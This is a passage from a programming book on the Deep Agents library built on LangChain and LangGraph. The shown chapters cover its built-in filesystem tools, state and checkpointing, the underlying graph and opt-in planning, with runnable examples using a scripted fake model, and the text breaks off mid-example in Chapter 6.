

Deep Agents: From First Harness to Production

*A working book on Deep Agents — what the harness actually gives you,
when its overhead pays*

35 sections · approximately 33,151 words

Johan De Clercq

Generated from the markdown sources

Contents

Chapter 1 — Why Deep Agents.....	3
Chapter 2 — Your first deep agent	7
Chapter 3 — The built-in tools	11
Chapter 4 — State: files and messages.....	15
Chapter 5 — It is a LangGraph graph.....	19
Chapter 6 — Planning.....	23
Chapter 7 — The virtual filesystem.....	27
Chapter 8 — Backends	30
Chapter 9 — Subagents	35
Chapter 10 — Skills.....	39
Chapter 11 — Memory across sessions	43
Chapter 12 — Prompting a deep agent.....	47
Chapter 13 — Permissions and approval.....	50
Chapter 14 — Middleware and custom tools	54
Chapter 15 — Structured output	58
Chapter 16 — Context management.....	61
Chapter 17 — Choosing models.....	64
Chapter 18 — The debugging mindset	67
Chapter 19 — When it won't run	71
Chapter 20 — When the agent does the wrong thing	75
Chapter 21 — Runaway agents and cost	79
Chapter 22 — Observing a long run	83
Chapter 23 — Cookbook: symptom → cause → fix.....	87
Chapter 24 — Structuring a real project.....	92
Chapter 25 — Testing	96
Chapter 26 — Evaluating a deep agent	100
Chapter 27 — Cost and context	104
Chapter 28 — Security	107
Chapter 29 — Deployment	111
Chapter 30 — Patterns	115
Chapter 31 — Deep Agents, LangChain and LangGraph	118
Chapter 32 — Anti-patterns	122
Appendix A — API cheatsheet	127
Appendix B — Glossary	132
Appendix C — Further reading	134

Chapter 1 — Why Deep Agents

You can build an agent with `create_agent(model, tools=[...])`. Most agents should be exactly that, and this chapter is partly a defence of stopping there.

What follows is the case for the layer above — and a map of where it sits, because Deep Agents is the fourth name in a stack of four and confusing them costs real time.

The agent that works until it doesn't

A LangChain agent is a model, a set of tools, and a loop. For a question answered in three tool calls it is exactly right.

It degrades in a specific, recognisable way as the task gets longer.

The context fills up. Every tool result stays in the message list. Read four log files and you are re-sending all four on every subsequent turn — quadratic cost, and eventually a context-window error. The agent's memory and its working area are the same thing, and that is the root problem.

It loses the plot. Twenty turns in, the model has forgotten the third of five things you asked for. Nothing tracks what is done and what remains, because the only record is a transcript it is increasingly summarising away.

Everything shares one context. A subtask that needs to read a large file pollutes the main conversation with its contents forever, even though only the conclusion mattered.

Nothing survives. Close the session and the work is gone.

Each is fixable by hand. All four together are a harness, and writing one is a month you did not plan for.

What the harness adds

Deep Agents is that harness. `create_deep_agent()` gives you an agent that already has:

A filesystem. `ls`, `read_file`, `write_file`, `edit_file`, `glob`, `grep`, `delete` — injected without being asked for. This is the fix for the context problem, and it is the most important idea in the book: **the agent's working area stops being its message list**. It reads a file when it needs it, writes conclusions out, and the transcript stays small.

Subagents. A task tool that spawns a fresh agent with its own clean context. The subtask reads what it needs, and only its *answer* comes back. Context isolation as a primitive.

Planning. A todo list the agent maintains as it works, so "what remains" is state rather than something to infer from a transcript. Note: **not on by default** — Chapter 6.

Skills. Instructions loaded on demand rather than crammed into every prompt.

Memory. Files that persist across sessions.

You configure these. You do not implement them.

Where it sits

Four layers, same maintainers, and this is the part worth getting straight:

```
graph TD
  A["Your application"] --> DA["<b>Deep Agents</b> – the harness: files, planning, subagents, skills"]
  DA --> LC["LangChain – models, tools, prompts, retrieval, create_agent"]
  LC --> LG["LangGraph – the runtime: state, durability, control flow"]
  LG --> P["Providers"]
```

Deep Agents is **built on** LangChain, which is built on LangGraph. So:

```
create_deep_agent() returns a LangGraph CompiledStateGraph — the same object
create_agent() returns, with more middleware attached.
```

Chapter 5 proves it. Everything that follows is real rather than analogy: the `checkpoint` argument is LangGraph's, `thread_id` is a LangGraph thread, `interrupt_on` is LangGraph's `interrupt()`, and the built-in tools are LangChain tools. When something breaks, you are debugging one of three layers, and knowing which is most of the work.

Which layer you should be writing

What you need	Use
A model call, a prompt chain, RAG	LangChain
An agent with a fixed set of tools, finishing in a few turns	LangChain <code>create_agent</code>
Long multi-step work, large context, delegation, files	Deep Agents
Control flow <i>you</i> define — branches, loops, fan-out	LangGraph
Deterministic steps, no model	none of them — a task queue

Note that Deep Agents and LangGraph are not ordered relative to each other. Deep Agents is a *ready-made* harness; LangGraph is for when you want to design the control flow yourself. If the harness fits, it saves a month. If your workflow is a specific graph, the harness is in the way — and Chapter 31 covers telling those apart.

When not to use it

Being honest, because the harness is not free:

Your task finishes in a few turns. The filesystem, planning and delegation machinery is overhead. Use `create_agent`.

You need precise control over the loop. The harness is opinionated: filesystem and subagent middleware are always present and their tool names are fixed. If you are fighting that, write a graph.

Your agent has one job. A classifier does not need a virtual filesystem.

You cannot afford the tokens. Those eight built-in tools are defined on every call. Measured:

ls	345 chars	read_file	1685 chars
write_file	622 chars	edit_file	1012 chars
delete	512 chars	glob	1526 chars
grep	2254 chars	task	1700 chars
TOTAL	9656 chars	(~2414 tokens, on every call)	

About 2,400 input tokens before your agent has done anything, against zero for a plain `create_agent` with no tools. On a short task that is the dominant cost. Chapter 27 works through when it pays for itself — and it does pay, because the alternative is those log files in the transcript instead.

The honest rule: **reach for Deep Agents when the task is long and the context is the problem.** That is the specific ailment it cures.

What it costs

Tokens, on every call. ~2,400 of them, measured above.

Less predictability. An agent that plans, delegates and writes files has more ways to go wrong than one that calls two tools. Part IV exists for this.

An opinionated shape. You get the harness's idea of planning and files, not yours.

A young, fast-moving library. Faster-moving than LangChain, and much of what is written about it is already wrong — including, as Chapter 6 measures, the claim that planning is enabled by default.

The example this book builds

One application, `scout`: an incident investigator. Given a small tree of logs, config and runbooks, it plans an investigation, reads what it needs, checks a metric, and writes a cited findings report to `/findings.md`.

It is small enough to hold in your head and exercises every capability: todos, the virtual filesystem, a custom tool, subagents and skills.

Its model is fake, deliberately. `ScriptedModel` replays fixed replies with real tool calls, so the harness drives it exactly as it would drive Claude — and every output printed in this book is reproducible, offline, and costs nothing.

Try it

You need Python 3.11+ and `uv`. No API key.

```
uv run python scripts/verify.py
```

```
[PASS] Python >= 3.11 found 3.12.12
[PASS] deepagents >= 0.7 found 0.7.11
[PASS] langchain >= 1.3 found 1.3.18
[PASS] langgraph >= 1.2 found 1.2.11
[PASS] build a deep agent got CompiledStateGraph
[PASS] built-in tools present
[PASS] planning available when asked
[PASS] the scout example runs findings written=True, todos=3
```

All 8 checks passed. You are ready for Chapter 1.

Note the fifth line: `CompiledStateGraph`. That is the `LangGraph` object, and Chapter 5 follows it up.

Then watch the whole investigation:

```
uv run python -m examples.scout
```

You are not expected to follow it yet. Chapter 2 builds the smallest possible deep agent.

Takeaways

- A plain `create_agent` loop is the right default. It degrades in four recognisable ways: **context fills up, the plan is lost, subtasks pollute the main context, nothing survives.**
- The harness's central idea is that **the agent's working area stops being its message list** — it reads and writes files instead.
- You get filesystem tools, subagents, planning, skills and memory by configuration, not implementation.
- **Deep Agents is built on LangChain, which is built on LangGraph.** `create_deep_agent()` returns a `LangGraph CompiledStateGraph`.
- Deep Agents and LangGraph are alternatives, not a sequence: a **ready-made harness** versus **control flow you design**.
- Reach for it when **the task is long and context is the problem**. Not for short tasks, single-job agents, or when you need precise control of the loop.
- It costs **~2,400 input tokens per call** in tool definitions, plus predictability and an opinionated shape — and the library moves fast enough that much written about it is already wrong, including the claim that planning is on by default.

Next: Chapter 2 — Your first deep agent

Chapter 2 — Your first deep agent

This chapter builds the smallest possible deep agent and looks at what arrived without being asked for. It assumes `scripts/verify.py` passed. No API key; no model is called.

The whole program

```
from deepagents import create_deep_agent

agent = create_deep_agent(model=model)

result = agent.invoke({"messages": [{"role": "user", "content": "hello"}]})
print(result["messages"][-1].content)
```

```
reply: Nothing to investigate.
```

That is a complete deep agent. One call, no tools of your own, no configuration.

Note the input and output shape, because it is the same as a LangChain agent and the first thing people get wrong:

```
agent.invoke({"messages": [{"role": "user", "content": "..."}]})  # a dict, not a
string
result["messages"][-1].content                                   # not
result.content
```

What arrived uninvited

Ask what the model was actually offered:

```
state keys:      ['files', 'messages']
tools injected: 8 ['ls', 'read_file', 'write_file', 'edit_file', 'delete', 'glob',
'grep', 'task']
```

Eight tools you did not write, and a state field called `files` you did not declare.

That is the harness. Seven of the tools are a filesystem; the eighth, `task`, spawns subagents. Chapter 3 covers what each does and Chapter 4 covers where the files live.

What is *not* there is worth as much: no `write_todos`. Planning is opt-in, and Chapter 6 is about that discrepancy.

Adding your own tools

Exactly as in LangChain — the harness's tools are additive, not a replacement:

```

from langchain_core.tools import tool

@tool(parse_docstring=True)
def check_metric(name: str) -> str:
    """Look up the current value of a named infrastructure metric.

    Args:
        name: One of "disk_used_pct", "jitter_ms", "error_rate".
    """
    return {"disk_used_pct": "node-3 disk_used_pct = 97"}.get(name, f"unknown metric {name!r}")

agent = create_deep_agent(model=model, tools=[check_metric])

```

The model now sees nine tools: your one and the harness's eight.

`@tool` **does not parse the** `Args: docstring` **by default**. Without `parse_docstring=True` your argument descriptions are silently dropped and the model sees a bare `name: string`. That is a LangChain behaviour inherited here, and it is the single most common quietly-broken tool.

The system prompt

```
agent = create_deep_agent(model=model, system_prompt="You investigate incidents.")
```

Something surprising, measured: with no skills configured, the harness's own system prompt is **empty**.

```

system prompt: 0 chars
with a system_prompt of your own: 26 chars, yours at position 0

```

Your prompt is the whole system prompt. The harness does not prepend a wall of instructions — the guidance lives in the *tool descriptions* instead, which is why Chapter 1 measured ~2,400 tokens there. Configure skills (Chapter 10) and a "Skills System" section does appear.

Practically: **your** `system_prompt` **is not competing with a hidden preamble**. Say what the agent is for, what it should write where, and what to do when the evidence is thin:

```

SYSTEM_PROMPT = """You investigate production incidents.

Work from the files you are given. Read the logs, check the config against the
runbooks, and write your conclusion to /findings.md. Cite the file each claim
came from. If the evidence does not support a conclusion, say so."""

```

Three things that earn their place: **where to write output**, **a citation rule**, and **permission to fail**. Chapter 12 goes further.

The result

`invoke` returns a dict, and its keys grow as you enable capabilities:

Key	Present when
<code>messages</code>	always
<code>files</code>	always — the virtual filesystem (Chapter 7)
<code>todos</code>	you added <code>TodoListMiddleware</code> (Chapter 6)

The message list is the reasoning trace and your main debugging tool (Part IV). The `files` dict is the actual work product — for `scout`, the report matters more than anything the agent said.

Try it

Build the smallest agent and look at what you got:

```
uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel

model = ScriptedModel(script=['Nothing to investigate.'])
agent = create_deep_agent(model=model)
out = agent.invoke({'messages': [{'role': 'user', 'content': 'hello'}]})
print('reply      : ', out['messages'][-1].content)
print('state keys : ', sorted(out.keys()))
print('tools      : ', model.bound_tools)
"
```

Eight tools from one line of configuration. Now add one of your own and watch it become nine:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain_core.tools import tool
from examples.scout.fakes import ScriptedModel

@tool(parse_docstring=True)
def check_metric(name: str) -> str:
    '''Look up a metric.

    Args:
        name: the metric name
    '''
    return 'ok'

model = ScriptedModel(script=['done'])
create_deep_agent(model=model, tools=[check_metric]).invoke({'messages':
[{'role': 'user', 'content': 'hi'}]})
print(model.bound_tools)
print('your tool sees descriptions:', check_metric.args)
"
```

Then drop `parse_docstring=True` and confirm the description disappears.

Takeaways

- `create_deep_agent(model=...)` is a complete agent. Input and output are dicts keyed on `messages`; read `result["messages"][-1].content`.
 - **Eight tools arrive uninvited** — seven filesystem operations plus `task` — along with a `files` state field. That is the harness.
 - `write_todos` is **not** among them. Planning is opt-in (Chapter 6).
 - Your tools are added to the harness's, not swapped for them.
 - `@tool` **needs** `parse_docstring=True` or your argument descriptions are silently dropped.
 - With no skills configured the harness's **system prompt is empty** — yours is the whole thing, and it is not competing with a hidden preamble.
 - A good system prompt says **where to write output, how to cite, and that admitting ignorance is allowed**.
 - The result's `files` dict is usually the real work product, not the final message.
-

Previous: Chapter 1 — Why Deep Agents · Next: Chapter 3 — The built-in tools

Chapter 3 — The built-in tools

Eight tools arrive with every deep agent. They are the harness's whole surface area, so it is worth knowing exactly what each returns — because what a tool returns is what the model reasons from.

Every output below was produced by calling the tool.

The filesystem seven

```
ls          -> ['/logs/', '/notes.md']
ls /logs    -> ['/logs/api.log']
read_file   -> '1  INFO start\n2  ERROR disk full\n3  WARN retry'
grep        -> '/logs/api.log'
glob        -> ['/logs/api.log']
edit_file   -> "Successfully replaced 1 instance(s) of the string in '/notes.md'"
write_file  -> 'Updated file /out.md'
delete      -> 'Deleted /notes.md'
```

`ls(path)` lists one directory. Note it takes a **required** path — there is no implicit current directory, and calling it bare is an error. Directories come back with a trailing slash.

`read_file(file_path)` returns the file with **line numbers prefixed**. That is deliberate: numbered lines let the model refer to a specific line and let `edit_file` be precise. It also means the content is not byte-identical to the file — if you are parsing a tool result in a test, account for it.

`read_file` also takes `offset` and `limit` for reading part of a large file, which matters when the whole point is keeping things out of the context window.

`grep(pattern, path)` returns **matching file paths, not matching lines**. This surprises people: it is a file finder, not `grep -n`. The agent's normal move is `grep` to locate, then `read_file` to see.

`glob(pattern, path)` finds files by name pattern — `**/*.log`.

`write_file(file_path, content)` creates or overwrites. Note the reply is *"Updated file"* whether or not the file existed, so a model cannot tell from the result that it clobbered something.

`edit_file(file_path, old_string, new_string)` replaces an exact string, and reports how many instances it changed. Preferred over `write_file` for changing part of a file, because it does not require the model to reproduce the whole thing.

`delete(file_path)` removes a file.

task — the eighth

`task(description, subagent_type)` spawns a subagent with a **fresh context**, runs it, and returns only its final answer. That is the context-isolation primitive from Chapter 1, and Chapter 9 is about it.

Errors are returned, not raised

```
read missing    -> "Error: File '/nope.md' not found"
ls no path      -> "Error invoking tool 'ls' with kwargs {}: path: Field required"
edit no match   -> "Error: String not found in file: 'zzz'"
```

All three come back as normal `ToolMessages`. The agent sees the error and can react — correct the path, try a different string, give up.

Two consequences:

This is usually right. A model that mistyped a path should retry, not crash the run.

It can hide a broken system. An agent whose every `read_file` fails looks like a model having a bad day, and will keep paying for turns. Part IV covers spotting it; the short version is to read the `ToolMessages`, not just the final answer.

What this means for your prompt

The tool descriptions already tell the model what these do — that is where the ~2,400 tokens went. What they cannot tell it is **your conventions**:

- *Where* to write output. Left unsaid, the agent picks a filename, and it will not be the one you expected.
- Whether to `edit_file` or rewrite.
- What to do when a file is missing.

`scout`'s system prompt says *"write your conclusion to /findings.md"* for exactly this reason. Chapter 12 goes further.

The tools are ordinary LangChain tools

Nothing exotic: they are `BaseTool` instances with descriptions and argument schemas, bound to the model like any other. So everything from the LangChain layer applies — `.args` shows what the model sees, middleware can wrap them (Chapter 14), and `interrupt_on` can gate them (Chapter 13).

The names are **fixed**. You cannot rename `write_file`, and prompting the model to use `save_file` will produce a tool call that does not exist. If you need different semantics, add your own tool alongside.

Try it

Exercise the whole set against a seeded filesystem:

```

uv run python -c "
from deepagents import create_deep_agent
from deepagents.backends.utils import create_file_data
from examples.scout.fakes import ScriptedModel

seed = {'/logs/api.log': create_file_data('INFO start\nERROR disk full\nWARN
retry\n')}
calls = [
    {'name': 'ls', 'args': {'path': '/'}},
    {'name': 'grep', 'args': {'pattern': 'ERROR', 'path': '/'}},
    {'name': 'read_file', 'args': {'file_path': '/logs/api.log'}},
]
model = ScriptedModel(script=[{'text': 'x', 'tool_calls': [c]} for c in calls] +
['done'])
out = create_deep_agent(model=model).invoke({'messages':
[{'role': 'user', 'content': 'go'}], 'files': seed})
for m in out['messages']:
    if type(m).__name__ == 'ToolMessage':
        print(repr(str(m.content))[:80])
"

```

Note that `grep` returned a **path**, and `read_file` returned **numbered lines**.

Then trigger the three errors and confirm they come back as tool results rather than exceptions:

```

uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel
model = ScriptedModel(script=[{'text': 'x', 'tool_calls': [{'name': 'read_file', 'args':
{'file_path': '/nope.md'}}]}], 'gave up'])
out = create_deep_agent(model=model).invoke({'messages':
[{'role': 'user', 'content': 'go'}]})
for m in out['messages']:
    print(f'{type(m).__name__:13} {str(m.content)[:60]!r}')
"

```

The run succeeded. The failure is inside a `ToolMessage`.

Takeaways

- Eight tools: seven filesystem operations and `task`.
- `ls` **requires an explicit path** — there is no current directory.
- `read_file` **returns line-numbered content**, not the raw file.
- `grep` **returns matching file paths, not matching lines**. It locates; `read_file` reads.
- `edit_file` replaces an exact string and reports the count — prefer it over rewriting a whole file.
- `write_file` says *"Updated file"* whether or not it overwrote something.
- **Tool errors come back as `ToolMessage`s, not exceptions**. Good for recovery, and it can hide a systematically broken setup while you keep paying for turns.
- Tool descriptions cover mechanics; **your prompt must cover conventions** — above all, where to write output.
- The names are fixed. Add tools alongside; do not try to rename these.

Previous: [Chapter 2 — Your first deep agent](#) · Next: [Chapter 4 — State: files and messages](#)

Chapter 4 — State: files and messages

A deep agent has two kinds of memory, and keeping them straight explains most of what the harness is for.

`messages` — the conversation. Everything said, every tool call, every tool result. Grows without bound and is re-sent on every model call.

`files` — the virtual filesystem. Written and read deliberately, and **not** re-sent unless the agent reads a file.

That distinction is the whole idea:

The message list is what the agent has *said*. The filesystem is what it has *done*.

What a file actually is

```
result["files"]["/a.md"]
```

```
{
  "content": "hello",
  "encoding": "utf-8",
  "created_at": "2026-09-01T13:31:10.738274+00:00",
  "modified_at": "2026-09-01T13:31:10.738274+00:00"
}
```

A dict keyed by **absolute path**, with content and timestamps. Not a real file — by default nothing touches your disk. `write_file("notes.md", ...)` stores `/notes.md`; paths are normalised to absolute.

This is ordinary LangGraph state, which means it is checkpointed, inspectable, and passable as input — that last one is how `scout` gets its logs (Chapter 7).

Why this fixes the context problem

Compare two ways of reading four log files.

Without a filesystem, each result stays in the message list. Turn five re-sends all four logs. Cost grows with the square of the work, and eventually the context window ends the run.

With one, the agent greps to find the relevant file, reads *part* of it, writes a conclusion to `/findings.md`, and moves on. The transcript holds the conclusion; the evidence stays in the filesystem.

The agent can always re-read a file. It just does not have to carry it.

This is why `read_file` takes `offset` and `limit`, and why `grep` returns paths rather than lines (Chapter 3) — every design decision points at keeping bulk out of the context.

Files do not persist by themselves

The trap, measured:

```
run1 files: ['/a.md'] | run2 files: []
```

Two `invoke` calls on the same agent object. The second starts with an **empty** filesystem — the first run's work is gone. State lives in the checkpointer, and with no checkpointer each invocation is independent.

Add one, and a `thread_id`:

```
agent = create_deep_agent(model=model, checkpointer=InMemorySaver())
config = {"configurable": {"thread_id": "incident-4471"}}
```

```
files on thread: ['/a.md']
ls saw: ['/a.md']
```

The second run sees the first run's file, and `ls` finds it.

Both of those are LangGraph concepts (Chapter 5). The rule to carry:

A long-running investigation needs a checkpointer and a stable `thread_id`. Without them the filesystem is scratch space for one invocation.

For memory across *different* threads — facts that outlive one investigation — see Chapter 11.

Reading and seeding state

You can pass `files` in as input, which is how the example provides its logs:

```
agent.invoke({
    "messages": [{ "role": "user", "content": "why did node-3 fail?" }],
    "files": seed(), # { "/logs/api.log": create_file_data("...") }
})
```

`create_file_data` from `deepagents.backends.utils` builds the dict shape above. Seeding is useful well beyond examples — attaching an uploaded document, or handing the agent the output of an earlier job.

And you can read state back:

```
result["files"][ "/findings.md" ]["content"]
```

For `scout` that report is the deliverable. **The final message is a summary; the file is the work.** Chapter 22 makes that a debugging habit.

The state grows

Enabling capabilities adds keys:

Key	Added by
messages	always
files	always
todos	TodoListMiddleware (Chapter 6)

You can add your own with `state_schema`, and Chapter 14 covers when that is worth it. Mostly it is not — a file is usually the better place for anything the agent produces, because a file has a name the agent can reason about.

Try it

Watch files vanish, then persist:

```
uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel
from langgraph.checkpoint.memory import InMemorySaver

def writer():
    return ScriptedModel(script=[
        {'text': 'x', 'tool_calls': [{'name': 'write_file', 'args': {'file_path': '/
a.md', 'content': '1'}}]},
        'done'])

a = create_deep_agent(model=writer())
print('no checkpointer, run 1:', sorted(a.invoke({'messages':
[{'role': 'user', 'content': 'go'}]}]['files']))
print('no checkpointer, run 2:', sorted(a.invoke({'messages':
[{'role': 'user', 'content': 'go'}]}]['files']))

b = create_deep_agent(model=writer(), checkpointer=InMemorySaver())
cfg = {'configurable': {'thread_id': 't'}}
b.invoke({'messages': [{'role': 'user', 'content': 'go'}]}, cfg)
print('checkpointer, run 2:', sorted(b.invoke({'messages':
[{'role': 'user', 'content': 'again'}]}], cfg)['files']))
"
```

Then look at the deliverable rather than the chat:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
print('final message:', out['messages'][-1].content)
print()
print('the actual work product:')
print(out['files']['/findings.md']['content'])
"
```

Takeaways

- Two memories: `messages` is what the agent said, `files` is what it did.

- A file is a dict of content and timestamps, keyed by **absolute path**. Nothing touches your disk by default.
 - The filesystem exists to keep bulk **out of the context window** — which is why `grep` returns paths and `read_file` takes `offset/limit`.
 - **Files do not persist between invocations without a checkpointer**. Measured: the second run starts empty.
 - A long investigation needs a **checkpointer and a stable `thread_id`** — both LangGraph concepts.
 - You can **seed files as input**, which is how documents get to the agent.
 - Read the deliverable out of `result["files"]`. The final message is a summary; the file is the work.
-

Previous: Chapter 3 — The built-in tools · Next: Chapter 5 — It is a LangGraph graph

Chapter 5 — It is a LangGraph graph

Chapter 1 claimed Deep Agents is a harness on LangChain, which runs on LangGraph. This chapter proves it, because once you have seen it, a great deal stops being mysterious — including several error messages that otherwise seem to come from nowhere.

The proof

```
agent = create_deep_agent(model=model, checkpointer=InMemorySaver())
type(agent).__name__          # 'CompiledStateGraph'
list(agent.get_graph().nodes)
```

```
type : CompiledStateGraph
nodes: ['__start__', 'model', 'tools', 'PatchToolCallsMiddleware.before_agent',
'__end__']
```

A compiled LangGraph graph. Compare it with a plain LangChain agent built alongside:

```
create_agent      nodes: ['__start__', 'model', '__end__']
create_deep_agent nodes: ['__start__', 'model', 'tools',
'PatchToolCallsMiddleware.before_agent', '__end__']
```

The same object, with more middleware. `create_deep_agent` is `create_agent` with the harness's middleware pre-attached — filesystem, subagents, and the rest.

Every LangGraph method is there:

```
get_state  get_state_history  update_state  stream  astream  get_graph  batch
```

And the state is a real LangGraph snapshot:

```
snapshot fields: ('values', 'next', 'config', 'metadata', 'created_at',
                  'parent_config', 'tasks', 'interrupts')
checkpoints: 4
```

Four checkpoints from one exchange, produced by code that never mentions LangGraph.

What that explains

Things that would otherwise look arbitrary:

You met it as	It really is
<code>checkpointer=</code> (Chapter 4)	LangGraph persistence
<code>thread_id</code> in your config	a LangGraph thread
files not surviving a second <code>invoke</code>	no checkpointer, so no state carried
<code>interrupt_on=</code> (Chapter 13)	LangGraph's <code>interrupt()</code>
<code>Command(resume=...)</code>	LangGraph's resume
<code>GraphRecursionError</code>	LangGraph's superstep cap — default 10007
<code>InvalidUpdateError: Expected dict</code>	a LangGraph error from passing a string
<code>state_schema=</code> (Chapter 14)	a LangGraph state schema
<code>metadata["langgraph_node"]</code> when streaming	which graph node produced a token

None of these are documented in Deep Agents, because they are not Deep Agents' — they belong two layers down. **When you cannot find something in the Deep Agents documentation, look in LangGraph's.** That single habit saves more time than anything else in this book.

Three layers, three places a bug can live

```
graph TD
    DA["<b>Deep Agents</b> — the harness"] --> LC["LangChain — models, tools, prompts"]
    LC --> LG["LangGraph — state, durability, control flow"]
```

Deep Agents layer — the filesystem tools, subagents, skills, planning. Symptoms: the agent writes to the wrong path, a subagent returns something useless, a skill does not load.

LangChain layer — the model, your tools, prompts. Symptoms: a tool is ignored or called with bad arguments, the model misreads a result. Chapter 3's warning about `parse_docstring=True` is a LangChain issue surfacing here.

LangGraph layer — state, persistence, interrupts, the loop cap. Symptoms: files do not persist, a resume fails, `GraphRecursionError`.

Part IV's triage is built on this split, and identifying the layer first is most of the work.

Everything LangGraph can do, you can do

Because it is a real graph, its tooling applies:

```
agent.get_state(config).values["files"]           # inspect state without re-running
list(agent.get_state_history(config))             # every checkpoint
agent.update_state(config, {"files": {...}})      # edit state by hand
for chunk in agent.stream(payload, stream_mode="updates"): ...
```

`get_state_history` is genuinely useful here in a way it is not for a short agent: a long investigation has many steps, and being able to see the state at each — which files existed, what the todos said — turns "why did it conclude that?" into something you can read rather than infer. Chapter 22 uses it.

You can also nest a deep agent inside a hand-written graph, since it is just a node:

```
builder.add_node("investigate", create_deep_agent(model=model, tools=TOOLS))
```

That is the escape hatch from Chapter 31: when the harness fits *part* of your problem, use it for that part.

Where the abstraction leaks

Being honest about the seams:

Error messages name the wrong layer. A `GraphRecursionError` from a runaway subagent says nothing about subagents.

Node names are internal. `PatchToolCallsMiddleware.before_agent` is a harness implementation detail that appears in traces and in `get_state().next`. Do not depend on it.

The default recursion limit is 10007, not 25. For a deep agent — which legitimately takes many turns — that is a large amount of money between a stuck loop and anything stopping it. Set it explicitly (Chapter 20).

Try it

Prove it on your machine:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain.agents import create_agent
from examples.scout.fakes import ScriptedModel

deep = create_deep_agent(model=ScriptedModel(script=['ok']))
plain = create_agent(ScriptedModel(script=['ok']), tools=[])
print('deep:', type(deep).__name__, list(deep.get_graph().nodes))
print('plain:', type(plain).__name__, list(plain.get_graph().nodes))
"
```

Then use a LangGraph API on it:

```
uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel
from langgraph.checkpoint.memory import InMemorySaver

a = create_deep_agent(model=ScriptedModel(script=['ok']),
checkpointer=InMemorySaver())
cfg = {'configurable': {'thread_id': 'x'}}
a.invoke({'messages': [{'role': 'user', 'content': 'hi'}]}, cfg)
print('snapshot fields:', a.get_state(cfg).fields)
print('checkpoints      :', len(list(a.get_state_history(cfg))))
"
```

Four checkpoints, from code that never mentions LangGraph.

Takeaways

- `create_deep_agent()` **returns a LangGraph** `CompiledStateGraph` — the same object `create_agent()` returns, with the harness's middleware attached.
 - That explains `checkpointer`, `thread_id`, `interrupt_on`, `GraphRecursionError`, `InvalidUpdateError`, `state_schema` and `langgraph_node` — none of which are Deep Agents' own.
 - **When something is missing from the Deep Agents documentation, look in LangGraph's.**
 - Bugs live in one of three layers: the harness, `LangChain`, or `LangGraph`. Identify which before theorising.
 - All `LangGraph` tooling works: `get_state`, `get_state_history`, `update_state`, `stream` — and history is unusually useful on long runs.
 - A deep agent can be a **node in a graph you write**, which is the escape hatch when the harness fits only part of the problem.
 - The abstraction leaks: errors name the wrong layer, internal node names appear in traces, and **the recursion limit defaults to 10007**.
-

Previous: Chapter 4 — State: files and messages · Next: Chapter 6 — Planning

Chapter 6 — Planning

A long task needs somewhere to keep "what remains". Without it, the agent's only record is a transcript it is progressively summarising away, and by turn twenty the third of your five requirements has quietly evaporated.

The harness's answer is a todo list the agent maintains as it works. This chapter is also the first place where the published advice and the installed library disagree.

Planning is not on by default

Every write-up of Deep Agents — including the official skill description — says planning is built in and enabled by default. Against deepagents 0.7.11:

```
default          ['ls', 'read_file', 'write_file', 'edit_file', 'delete',
'glob', 'grep', 'task']
+ TodoListMiddleware ['ls', 'read_file', 'write_file', 'edit_file', 'delete',
'glob', 'grep', 'task', 'write_todos']
```

No write_todos in the default set. You add it yourself:

```
from langchain.agents.middleware import TodoListMiddleware

agent = create_deep_agent(model=model, middleware=[TodoListMiddleware()])
```

Note where it comes from: `langchain.agents.middleware`, not `deepagents`. Planning is a LangChain middleware the harness composes, which is Chapter 5's layering showing through.

The failure mode is quiet. Your agent works, never plans, and gradually loses track on long tasks — and you have no reason to suspect the tool is simply absent. **Check what your model is actually offered** before assuming a capability is present:

```
model.bound_tools  # with the book's ScriptedModel; or read your trace
```

Using it

The model calls `write_todos` with the whole list, every time — it replaces rather than patches:

```
write_todos(todos=[
    {"content": "Read the logs",          "status": "in_progress"},
    {"content": "Check config against the runbook", "status": "pending"},
    {"content": "Write findings",          "status": "pending"},
])
```

Later, it rewrites the list with updated statuses:

```
final todos: [{ 'content': 'Read logs', 'status': 'completed'},
               { 'content': 'Write up', 'status': 'in_progress'}]
```

The list lands in state under `todos`, so you can read it after a run — or mid-run, from a checkpoint (Chapter 22).

Statuses are constrained. An invented one is rejected:

```
Error invoking tool 'write_todos' with kwargs {'todos': [{'content': 'a', 'status': 'nonsense'}]...
```

The three that work are `pending`, `in_progress`, `completed`.

What it is actually for

It is easy to dismiss as bookkeeping. Two things make it worth the tokens.

It survives summarisation. When conversation history is compressed (Chapter 17), the todo list is *state*, not transcript. The plan is the one thing that does not get squeezed.

It is a progress signal for you. A long-running agent is otherwise opaque. Reading `todos` mid-run tells you where it is, and a list that has not changed in ten turns tells you it is stuck — which is the single most useful operational signal in Part IV.

What it is *not* is a scheduler. Nothing enforces the plan. The agent may ignore its own list, mark things complete that are not, or never update it. It is a note to itself, and its value is real but advisory.

Getting good plans

The plan is generated by the model, so it responds to prompting:

Ask for one explicitly. *"Before you begin, write a plan with `write_todos`."* Without this many models start work immediately and only plan when they get lost.

Ask it to keep the list current. *"Mark each item complete as you finish it."* An agent that plans once and never updates gives you a stale list, which is worse than none because it looks like progress.

Keep it coarse. Five items, not thirty. A plan with one item per tool call is a transcript with extra steps and costs tokens on every turn.

`scout`'s prompt does not currently ask for a plan — its script writes one because the book needs it deterministic. In a real agent, say so in the system prompt.

When to skip it

Planning costs a tool definition on every call plus the list in state. Skip it when:

- The task is a handful of turns. There is nothing to lose track of.
- The work is a fixed sequence you already know — that is a chain, or a graph (Chapter 31).
- The agent has one job.

Enable it when the task is genuinely open-ended and long, which is the case the harness exists for.

Try it

Prove the default first — this is the finding to see for yourself:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain.agents.middleware import TodoListMiddleware
from examples.scout.fakes import ScriptedModel

for label, mw in (('default', []), ('+ TodoListMiddleware',
[TodoListMiddleware()])):
    m = ScriptedModel(script=['ok'])
    create_deep_agent(model=m, middleware=mw).invoke({'messages':
[{'role': 'user', 'content': 'hi'}]})
    print(f'{label:22} write_todos offered: {\\"write_todos\\" in m.bound_tools}')
"
```

Then watch a plan get written and updated:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain.agents.middleware import TodoListMiddleware
from examples.scout.fakes import ScriptedModel

script = [
